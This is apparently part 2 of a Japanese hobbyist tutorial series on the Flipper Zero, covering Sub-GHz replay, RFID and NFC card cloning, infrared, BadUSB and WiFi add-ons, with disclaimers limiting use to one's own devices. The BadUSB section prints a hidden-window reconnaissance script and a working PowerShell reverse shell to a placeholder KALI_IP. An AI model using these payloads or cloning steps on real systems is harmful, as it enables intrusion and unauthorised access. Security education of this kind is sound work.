ハッカーの道:全5回シリーズ
パート1:はじめに → パート2:Flipper Zero完全習得 → パート3:Kali基礎編 → パート4:エクスプロイト実践 → パート5:フルオーディット
パート1では、入門編をこなした。IRリモコンをクローンし、NFCカードをスキャンし、Sub-GHzスペクトラムが光るのを見て、BadUSBで「Hello World」とタイプした。セキュリティがしばしば幻想であることを目の当たりにした。
ここからは深掘りだ。この記事を読み終える頃には、Flipper Zeroがやりとりできるすべての主要プロトコルを理解しているはずだ。使い方だけでなく、なぜそういう仕組みで動くのか、それがセキュリティにとって何を意味するのかまで。
忠告しておく:あなたが安全だと思い込んでいたものの中に、実は安全でなかったものがいくつも見つかるだろう。
Flipperの哲学
プロトコルに入る前に、正しいマインドセットを確立しよう。Flipper Zeroはハリウッド映画的な「ハッキングデバイス」ではない。普段は見えない無線周波数やハードウェアプロトコルとやりとりするための学習ツールだ。
無線信号のための虫眼鏡だと思ってほしい。信号はずっとそこにあった。ただ見えなかっただけだ。今は見える。
この区別は重要だ。なぜなら、セキュリティへのアプローチが変わるからだ。ほとんどの「セキュリティ」は隠蔽性に依存している。攻撃者がシステムとやりとりする方法を知らないだろうという前提だ。Flipperはその隠蔽性を取り除く。何が送受信されているか、正確に見せてくれる。そして一度見えてしまえば、実際のセキュリティが存在するかどうか評価できる。
ネタバレ:たいていの場合、実際のセキュリティは存在しない。
⚠️ 注意:自分のものだけでテスト
この記事で紹介するすべてのことは、あなた自身のデバイス、カード、システムのテスト用だ。テクニック自体は誰のものにでも使える。それが問題なのだ。しかし、自分が所有していないシステムに使うのは違法だ。自分のセキュリティをテストしよう。自分の脆弱性を発見しよう。それがこの道だ。
Sub-GHz:見えないスペクトラム
サブギガヘルツの無線周波数はいたるところにある。ガレージドア、車のキーフォブ、気象観測所、ワイヤレスドアベル、タイヤ空気圧センサー、スマートホームデバイス。すべてが1GHz以下の周波数帯で絶えず送信している。
なぜSub-GHzなのか?低い周波数はWiFi(2.4/5 GHz)のような高い周波数より遠くまで届き、壁を通り抜けやすい。そのため、見通しのきかない距離でも確実な通信が必要なデバイスに最適だ。
周波数の全体像
地域ごとに規制が異なるため、使用する周波数も異なる:
- 315 MHz: 北米。古いガレージドア、車のキーフォブ
- 390 MHz: 北米。ガレージドア、一部の自動車
- 433.92 MHz: 世界共通。気象観測所、センサー、ヨーロッパのデバイス、多くのIoT製品
- 868 MHz: ヨーロッパ。スマートホーム、LoRa、電力メーター
- 915 MHz: 南北アメリカ。LoRa、スマートホーム、産業用
Momentumファームウェアを使えば、Flipperは物理的な場所に関係なく、これらのすべての帯域で送受信できる。純正ファームウェアでは、あなたの地域で合法な周波数に制限される。これは学習にとって重要だ。「海外の」周波数で動作するデバイスを持っているかもしれない。
プロジェクト:ガレージドアを解析する
所要時間: 15分
学べること: スタティックコードとローリングコードの違い。そしてそれがなぜ重要なのか
手順:
- Sub-GHz → Read に移動する
- ガレージの近くに立つ(ドアが開くほど近づかない)
- ガレージドアのリモコンボタンを押す
- Flipperが信号をキャプチャするのを見る
- キャプチャされた内容を確認する。識別されたプロトコルを確認する
確認できる可能性があるもの:
- Princeton, Linear, Chamberlain(旧型): スタティックコード。毎回同じコードが送信される。リプレイ攻撃に脆弱。
- KeeLoq, Security+ 2.0, Rolling Code: ローリングコード。送信ごとに同期されたシーケンスから異なるコードを使用。単純なリプレイは不可能。
現実: あなたのガレージドアがスタティックコードを使っている場合(2015年以前に設置されたものの多くがそうだ)、その信号を一度キャプチャした人間は永遠にリプレイできる。あなたのガレージは、誰も傍受していないという前提で守られている。その前提はたった今崩れた。
ローリングコードの解説
現代のガレージドアや車のキーフォブはローリングコード(ホッピングコードとも呼ばれる)を使っている。仕組みはこうだ:
- 送信機(リモコン)と受信機(ガレージ)が秘密のシードとアルゴリズムを共有している
- ボタンを押すたびに、同期されたシーケンスの次のコードが生成される
- 受信機は現在のコード、または次の約256個のコード(電波の届かないところでのボタン操作に対応するため)を受け入れる
- 一度使われたコードは永久に無効化される
つまり、ローリングコード信号をキャプチャしてリプレイしても動作しない。リプレイする頃には、そのコードはすでに無効化されている。
なぜこれが重要なのか
ローリングコードが発明されたのは、Sub-GHzの世界が隠蔽性によるセキュリティは失敗すると気づいたからだ。誰かが信号をキャプチャしてリプレイする方法を見つけたので、業界は実際の暗号学的セキュリティを実装せざるを得なくなった。このパターンは、これから議論するすべてのプロトコルで繰り返される:セキュリティは、誰かが脆弱性を実証した後にしか追加されない。
プロジェクト:気象観測所のデータをキャプチャ
所要時間: 10分
学べること: どれだけのデータが保護なしでブロードキャストされているか
手順:
- Sub-GHz → Read に移動する
- ワイヤレス気象センサー(屋外温度計、雨量計など)の近くで待つ
- ほとんどのセンサーは30〜60秒ごとに送信する
- 送信をキャプチャする
- プロトコルとデコードされたデータを確認する
わかること: 温度、湿度、バッテリー残量、センサーID。すべて平文で送信されている。暗号化なし、認証なし。その周波数に合わせた受信機なら誰でもすべてのデータを受信できる。さて、あなたの近所で他に何がブロードキャストされているか考えてみよう...
RFID:125kHzの世界
低周波RFID(125kHz)は、より古くシンプルな近接カード技術だ。ジムの会員カード、古いオフィスビルの入退館カード、駐車場ゲート、マンションのエントリーシステムなどで見かける。
そしてセキュリティ面では、ほぼ例外なくひどい状態だ。
125kHz RFIDの仕組み
これらのカードはパッシブ型で、バッテリーがない。リーダーの近くにかざすと、リーダーの電磁場がカードに電力を供給し、カードはそのIDナンバーを送信する。それだけだ。チャレンジ・レスポンスなし。暗号化なし。ただ「私はカード番号12345です」と言うだけ。
リーダーは「OK」と言い、そのIDナンバーを知っているだけでアクセスを許可する。
問題が見えたはずだ。
よくある125kHzカードの種類
- EM4100: 非常に一般的。40ビットのIDをブロードキャストするだけ。セキュリティゼロ。
- HID Prox: 最も一般的な企業用入退館カード。施設コード+カード番号をブロードキャスト。セキュリティゼロ。
- Indala: やや珍しい。エンコーディングは異なるが同じ問題。セキュリティなし。
- AWID: 別のバリアント。根本的な弱点は同じ。
パターンに気づいただろうか?これらのカードはすべて、ただIDをブロードキャストしているだけだ。「セキュリティ」とは、そのIDを読み取るのに専用の機器が必要だということだ。あなたのFlipperがその機器だ。
プロジェクト:ジムカードをクローン
所要時間: 5分
必要なもの: あなたのジム/プール/マンションの125kHzカード、T5577ブランクカード(1枚1〜2ドル)
手順:
- 125 kHz RFID → Read に移動する
- カードをFlipperの背面(RFIDアンテナのある場所)に当てる
- 読み取り成功を待つ。カードの種類とIDを確認する
- 認識しやすい名前でカードを保存する
- エミュレーションをテストするには:Saved → Select Card → Emulate
- ジムのリーダーにFlipperをかざす。カードと全く同じように動作するはずだ
T5577ブランクに書き込むには:
- 保存したカードに移動する
- Write を選択する
- T5577ブランクカードをFlipperにかざす
- 書き込み完了を待つ
- 物理的なクローンが完成した
なぜこれが重要か: そのアクセス制御システムのセキュリティモデル全体がたった今崩壊した。あなたのカードに2秒間近づける人間なら誰でもクローンできる。次にジムのロッカールームにバッグを放置するとき、そのことを考えてほしい。
T5577:あなたの魔法のカード
T5577は書き換え可能なRFIDカードで、ほとんどの125kHzカードタイプをエミュレートできる。アクセスカード用のブランクCD-Rのようなものだ。任意のカードデータを書き込めば、そのカードになる。
テスト用に10枚パックを買おう。安価で、この技術全体がいかに脆弱かを理解するのに非常に役立つ。一つのカードデータを書き込んでテストし、別のカードデータを書き込む。すべて同じ物理カードで。
これが明らかにすること
125kHz RFIDの「セキュリティ」は純粋な芝居だ。これらのシステムは、カードを読めない、データをコピーできない、別のカードに書き込めないと前提している。3つの前提すべてが、消費者向け機器で覆される。あなたの職場がHID Proxカード(最も一般的な企業用入退館カード)を使っている場合、Flipperを持っている従業員は他の従業員のアクセス権をクローンできる。それをよく考えてほしい。
重要なポイント
125kHz RFIDのセキュリティは純粋な芝居だ。これらのシステムは、カードデータを読み取り、コピーし、書き換えることができないと前提している。3つの前提すべてが、200ドル未満の消費者向け機器で覆される。
NFC:13.56MHzの世界
高周波NFC(13.56 MHz)は新しい世代だ。非接触決済、最新の入退館カード、交通系ICカード、ホテルのキー、スマートフォンのタップ決済を支えている。
良いニュース:一部のNFCカードには実際のセキュリティがある。
悪いニュース:多くにはない。
NFCカードの種類
- MIFARE Classic: 入退館カード、交通系、ホテルで非常に一般的。数年前にクラックされた独自の暗号化を使用。脆弱。
- MIFARE Ultralight: セキュリティが最低限のシンプルなカード。使い捨ての交通チケットによく使われる。
- NTAG: 自動化用のNFCタグで一般的。通常セキュリティは最低限。
- MIFARE DESFire: 実際に安全。AES暗号化を使用。新しい高セキュリティ環境で使用。
- EMV(決済カード): あなたのクレジットカード。強力な暗号化、取引限度額、不正検知を備えている。
プロジェクト:社員証を解析する
所要時間: 10分
学べること: あなたの職場に本当のセキュリティがあるのか、それともセキュリティシアターなのか
手順:
- NFC → Read に移動する
- 社員証をFlipperの背面にかざす
- 読み取り完了を待つ
- Flipperが表示する内容を確認する
結果の見方:
- MIFARE Classic 1K/4K: あなたのバッジはクラック済みの暗号化を使用。時間と適切なツールがあればクローン可能。
- MIFARE Ultralight: 最低限のセキュリティ。多くの場合クローン可能。
- MIFARE DESFire: 実際に安全。限られたデータしか見えない。
- Unknown/Locked: 独自仕様の可能性あり、またはDESFireの可能性も。さらなる調査が必要。
現実を直視しよう: 企業の社員証のほとんどは今でもMIFARE Classicだ。暗号化は2008年に公開的に破られた。18年前だ。あなたの社員証にMIFARE Classicと表示されているなら、雇用主は暗号学者が失笑するほど脆弱なセキュリティシステムを運用している。
UIDクローン vs フルクローン
重要な区別がある:FlipperはカードのUID(Unique Identifier)、つまりシリアル番号を常に読み取りエミュレートできる。一部のアクセスシステムはUIDのみをチェックする。そのようなシステムでは、単純なエミュレーションが有効だ。
より優れたシステムはUIDとカードに保存された暗号化データの両方をチェックする。その場合、暗号化されたセクターもクローンする必要がある。MIFARE Classicなら可能(暗号化は破られている)だが、DESFireでは不可能だ。
プロジェクト:ホテルのキーカード解析
所要時間: 5分(次にホテルに泊まるとき)
学べること: ホテルのセキュリティが実際どう機能しているか
手順:
- NFC → Read でホテルのキーカードを読み取る
- カードの種類を確認する
- 読み取り可能なデータを確認する
通常見つかるもの: ほとんどのホテルキーはMIFARE UltralightかClassicだ。読み取り可能なセクターに部屋番号、チェックアウト日、その他のメタデータが表示されるものもある。「セキュリティ」とは、宿泊客が通常NFCリーダーを持っていないということだ。今のあなたは持っている。
NFC用マジックカード
125kHzのT5577と同様に、13.56MHz用の「マジック」NFCカードがある:
- Gen1(UID変更可能): カスタムUIDを書き込める。一部のリーダーに「マジック」として検出される。
- Gen2(CUID): 互換性が高い。電源オフ後もUIDの変更が維持される。
- Gen3(UFUID): 書き込み後にUIDをロックできる。通常のカードとして認識される。
- Gen4(Ultimate Magic): 最も柔軟。複数のカードタイプをエミュレート可能。
学習用には、Gen2カードが最もバランスが良い。安価で、幅広い互換性があり、ほとんどのテストに十分だ。
赤外線:完全なコントロール
パート1ですでにIRリモコンを作成した。ここではもっと深く掘り下げよう。
究極のリモコンライブラリを構築する
Flipperは無制限のIRリモコンを保存できる。しかし、各ボタンを一つずつ学習させるのは面倒だ。より良いアプローチ:コミュニティデータベースを使う。
Momentumファームウェアには、膨大な数の事前キャプチャ済みリモコンのデータベースであるIRDBが含まれている。GitHubリポジトリからリモコンデータをダウンロードして、FlipperのSDカードに追加することもできる。
プロジェクト:IRアーセナルを構築
所要時間: 20分
手順:
- Flipperで:Infrared → Universal Remotes
- テレビ、エアコン、プロジェクターなどの既製ユニバーサルリモコンが見つかる
- 自分のデバイスでテストする
- カバーされていないデバイスには、Learn New Remoteを使う
- 保存したリモコンを部屋別またはデバイスタイプ別に整理する
上級テクニック: 一つの空間にあるすべてのIRデバイスを組み合わせた「ルームリモコン」を作成する。一つのファイルでテレビ、サウンドバー、照明、エアコンを操作。
学べること: IRはユニバーサルで保護されていない。IR受信機を持つデバイスは、IR送信機を持つどんなデバイスからでも制御できる。これは意図的なものだ。IRは利便性のために設計されたのであって、セキュリティのためではない。あなたのFlipperはその利便性をユニバーサルにしただけだ。
Raw IRキャプチャ
一部のデバイスは非標準のIRプロトコルを使用している。そのような場合、Flipperはrawシグナル(オン/オフパルスの正確なタイミング)をキャプチャし、完全にリプレイできる。
標準の学習機能がシグナルを認識しない場合は、Infrared → Learn New → Raw に移動しよう。
BadUSB:ラバーダッキーの代替
パート1では、Flipperに「Hello World」とタイプさせた。ここからは本気で取り組む。
BadUSB(USB Rubber Ducky攻撃とも呼ばれる)は、コンピュータがUSBデバイスを扱う方法の根本的な欠陥を突く:キーボードを暗黙的に信頼するということだ。キーボードだと名乗るデバイスを接続すると、コンピュータはあらゆるキーストロークを疑問なく受け入れる。
あなたのFlipperは毎秒約1,000文字をタイプできる。どんな人間より速い。複雑な攻撃を、誰も反応する前に実行できるほど速い。
DuckyScriptの基礎
BadUSBペイロードはDuckyScriptというシンプルなスクリプト言語を使う。主要コマンド:
REM This is a comment
DELAY 1000
STRING Hello World
ENTER
GUI r
ALT F4
CTRL c
TAB
DOWNARROW
ESCAPEプロジェクト:システム情報収集ツール
所要時間: 15分
動作内容: PowerShellを開き、システム情報を収集し、ファイルに保存する(あなたのマシン上に)
REM System Info Grabber - Run on YOUR machine only
DELAY 1000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING $info = @{
ENTER
STRING Hostname = $env:COMPUTERNAME
ENTER
STRING Username = $env:USERNAME
ENTER
STRING Domain = $env:USERDOMAIN
ENTER
STRING IP = (Get-NetIPAddress -AddressFamily IPv4).IPAddress
ENTER
STRING OS = (Get-WmiObject Win32_OperatingSystem).Caption
ENTER
STRING }
ENTER
STRING $info | ConvertTo-Json | Out-File "$env:USERPROFILE\Desktop\sysinfo.json"
ENTER
STRING exit
ENTER学べること: 3秒未満の物理アクセスで、攻撃者はホスト名、ユーザー名、ドメイン、IPアドレス、OSバージョンを収集できる。これは偵察だ。その3秒間に他に何をタイプできるか想像してみてほしい。
プロジェクト:リバースシェルのセットアップ
所要時間: 30分(Kaliのセットアップ含む)
動作内容: Kaliマシンへの接続を作成する(パート3の準備)
前提条件: Kali Linuxが動作中(VMでOK)、KaliのIPアドレスを把握している
Kali側でリスナーを起動:
nc -lvnp 4444
BadUSBペイロード(Windowsターゲット):
REM Reverse Shell - Replace KALI_IP with your Kali's IP
DELAY 1000
GUI r
DELAY 500
STRING powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('KALI_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
ENTER何が起こるか: ターゲットマシンがKaliボックスへのPowerShell接続を開く。これでそのマシンへのコマンドラインアクセスが得られる。これが物理アクセス+BadUSB=完全な侵害の核心だ。パート3でさらに掘り下げる。
⚠️ これらのペイロードは本物
上記のリバースシェルペイロードは実際に動作する。テスト目的で、自分が所有するマシンにのみ使用すること。他人のマシンで実行することは連邦犯罪だ(不正アクセス+バックドアの設置)。目的は脅威を理解することであって、脅威を生み出すことではない。
デモ用の楽しいペイロード
BadUSBを他の人にデモする(相手の許可を得た上で相手のマシンで)ための、無害だが印象的なペイロード:
REM Rick Roll - Opens YouTube
DELAY 1000
GUI r
DELAY 500
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
ENTERREM Fake Windows Update - Fullscreen prank page
DELAY 1000
GUI r
DELAY 500
STRING https://fakeupdate.net/win10ue/
ENTER
DELAY 2000
F11REM Flip Screen Upside Down (Windows)
DELAY 1000
CTRL ALT DOWNARROWGPIO:ハードウェア拡張
FlipperのGPIO(General Purpose Input/Output)ピンを使えば、外部モジュールを接続して機能を拡張できる。ここでFlipperは携帯ツールから開発プラットフォームへと変貌する。
必須モジュール
- WiFi Dev Board: WiFi機能を追加。パケットキャプチャ、deauthテスト、Evil Twin攻撃。パート3以降で必須。
- CC1101外部アンテナ: Sub-GHzの到達距離を大幅に拡張。内蔵アンテナでも動くが、本格的な作業には外部が優れている。
- ESP32 Marauder: FlipperをWiFi/Bluetoothハッキングプラットフォームに変える。ハンドシェイクのキャプチャ、攻撃の実行が可能。
- ProtoBoard: カスタムプロジェクトや独自ハードウェアの接続用。
プロジェクト:WiFi Dev Boardのセットアップ
所要時間: 20分
必要なもの: WiFi Dev Board(公式または互換ESP32)
手順:
- ESP32にMarauderファームウェアをフラッシュする(手順はgithub.com/justcallmekoko/ESP32Marauder)
- FlipperのGPIOピンに接続する
- GPIO → ESP32 → Marauder に移動する
- WiFiスキャン、deauth、パケットキャプチャが使えるようになった
なぜこれが重要か: Flipper単体ではWiFiは使えない。適切な無線ハードウェアがないからだ。しかしdev boardがあれば、ネットワークをスキャンし、WPAハンドシェイクをキャプチャし、WiFi攻撃を実行できる。パート3と4で広範に使用する。
Momentumの高度な機能
Momentumファームウェアを使っているなら(使うべきだ)、試す価値のある機能を紹介する:
- デスクトップアニメーション: 純粋に見た目の問題だが楽しい。コミュニティのアニメーションパックをチェックしよう。
- 拡張プロトコル: 純正ファームウェアに含まれないプロトコルのサポートをMomentumが追加。
- アプリケーションハブ: 純正にはない追加アプリ。ゲーム、ツール、専門ユーティリティ。
- カスタムアセットパック: 見た目と操作感を完全に変更。
本当の価値はロック解除された周波数と拡張プロトコルサポートにある。純正ファームウェアは法的/規制上の準拠のために意図的に制限されている。Momentumは、ルールを理解している大人であることを前提としている。
あなたが習得したこと
ここまでで理解できたこと:
- Sub-GHz: ガレージドア、車のキーフォブ、センサーがどう通信するか。ローリングコードがなぜ重要か
- 125kHz RFID: ジムカードや古い入退館バッジが簡単にクローンできる理由
- 13.56MHz NFC: 破られた暗号化(MIFARE Classic)と本当のセキュリティ(DESFire)の違い
- 赤外線: ユニバーサルリモコンライブラリの構築方法とrawシグナルのキャプチャ
- BadUSB: USB HID信頼が根本的な脆弱性である理由。そしてそれをどう悪用するか
- GPIO: WiFi、拡張距離、カスタムハードウェアへの拡張方法
あなたのFlipperは今や武器だ。しかしKali Linuxと比べれば、それはドライバーに過ぎない。Kaliはワークショップそのものだ。本格的なハッキング環境を起動する時が来た。
ハッカーの道
好奇心から実力へ導く全5回シリーズ。
パート1:はじめに パート2:Flipper Zero完全習得 ✓ パート3:Kali基礎編 パート4:エクスプロイト実践 パート5:フルオーディット
パート2チェックリスト
☐ Sub-GHz: ガレージドアを解析、ローリングコードとスタティックコードの違いを理解
☐ 125kHz RFID: カードを読み取り、少なくとも1つのクローンをテスト
☐ NFC: 社員証を解析、カードタイプを特定
☐ 赤外線: 自宅全室のリモコンライブラリを完成
☐ BadUSB: システム情報ペイロードをテスト、リバースシェルを理解
☐ GPIO: パート3に向けてWiFi dev boardを準備
☐ マジックカード: テスト用にT5577および/またはNFCマジックカードを入手
次のステップ
パート3では、Flipperの特化した能力を離れ、本格的なペネトレーションテスト環境に入る:Kali Linux。
学ぶ内容:
- ハッキングラボのセットアップ(VMのインストールと構成)
- nmapによるネットワーク偵察。あなたのネットワーク上のすべてのデバイスをマッピング
- ワイヤレス偵察。aircrack-ngでWiFiハンドシェイクをキャプチャ
- Web偵察。ルーターが何を公開しているか調査
- Flipperのキャプチャデータをkaliのワークフローに接続
Flipperは脆弱性の存在を見せてくれた。Kaliはそれがどれだけ深いか、正確に理解する手助けをしてくれる。
パート3で会おう。